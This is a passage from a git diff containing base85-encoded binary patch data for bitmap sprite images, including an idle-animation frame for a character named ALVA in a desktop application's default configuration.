zn&;P8hmLrM#ql0AdTSfj51;>l8ZWbvl9`>JUR!|;baerF1UoxDkFo(_VcQ?ki zHm7?seR`rDdlFnaL+!%ui+dS`n?x1sJaw4d+~naADtTKCLKZ`4)bPgcRO(QTL6HHU z=<+hyA^(q)0vo398LO3hR~+Pu4Z2wBYNacMe9Ipn+uWH#qsNe#z+unC6fc`db$wG> zSu5>rNf#6Q3`M;rKg+&UkB&&|sk#@SOE44e0=t5*J1S|7_5qYYCANSI^?&M6R+I;h z#y9r%hl?Yf-EsE)@$S8Gj&H3j5-j~h#fv zgLlc9+xwbS78t?9ra8oxN>*+$H*LUH|0IQF! zU1iy8KzR+k3+*ge0bDTpvG0vX=*ZxH!fZB2*~5$lQ1wa2i3;m@Ch_}3XM7c znOsMXh4dKE3if`j1CRbCtbi%-4hA5n{ZO*NIBjte1)|rJC`|ls9E}D_+cArFz;VHH8xE*Pg&Xlu`(1GTp(2NL1tod zwzjm)_7>*20h?yVM(p(s(u2ar-W2wydwz|6(*GiDWA8k|SKo4=y)(nZ&t60Ze6Aee zMA zWWtb6>^B|8ZF!6XR;+LGc5)2R4qQV5b3uWVDloWX-PEUw6lXwIJ@9zUo2uA=(W@qF+(a;25A8eq%lg2Kuz|Z!&+9-Fw zIFEp;+>FkbX>;!joP{L1S~@^}TT-^Uv1z5M`8v|!TWi^;XZf+dL5`Xxc~No5UCh^* zd&d^Pkp%H*P^znbXQ^kni8)u<))j0?~ zwgU$&`MUe(L`Qke~NC^y&@$k#^3sk0l(AxprCJ3dkqL7=0;);(| zRAT%B1MFO$r)MqCgIF@)`oA5`9u6>)I~(ifYTCndi@+PsA~9cZdz!7zMBya`)L z4~>d)@k#a#j&$|J+9kFP;P=1gjsKzqo`5k!o5`!!*SCUUS%c7(l`YzWk{hrk%sBiw zx&BwfKmNcCD`*9z1pKX;qHbR1dmvPR)%mgA$MWak(Vxoo$BygpL;MWbP8NK3{zHx6SySa0~pCV%l8XRKI2b?@IQ@u-b0tbrARzq@a0 zFy=4`yMh0U4*qi+AO=K$Zi9@GH*WI4subA4JyO=2T3Q3Z6XRd#ip%Y8Z({W6Pjvo2 zJ^rDDGgi=U?;Ut_u#2;inhp3_RQ$|dM;lk9f9MzIpV)0oWpR0Lua4eVw&KVu&&3&-15cq%7UUY zVFuQYx=*0#Upa}tp}HTefDC{N3>QMdlR`qYm2?G}*@n9Ih8Q=6{2NC8^bw}Jz3D61 z+ecqP$3jD^r==0p{HcfdQ)>If3TR;Z-&;Ji*4K74HR5P?f7&@tH}^DV4F+p%sNdZJ RUJ(G@$2-G6c7ccY{{XPTG57!g literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/status/IDLE/IDLE3.bmp b/resources/default_config/characters/ALVA/status/IDLE/IDLE3.bmp new file mode 100644 index 0000000000000000000000000000000000000000..f8ce050d283188e70e9fb577c687fb433268848f GIT binary patch literal 18462 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 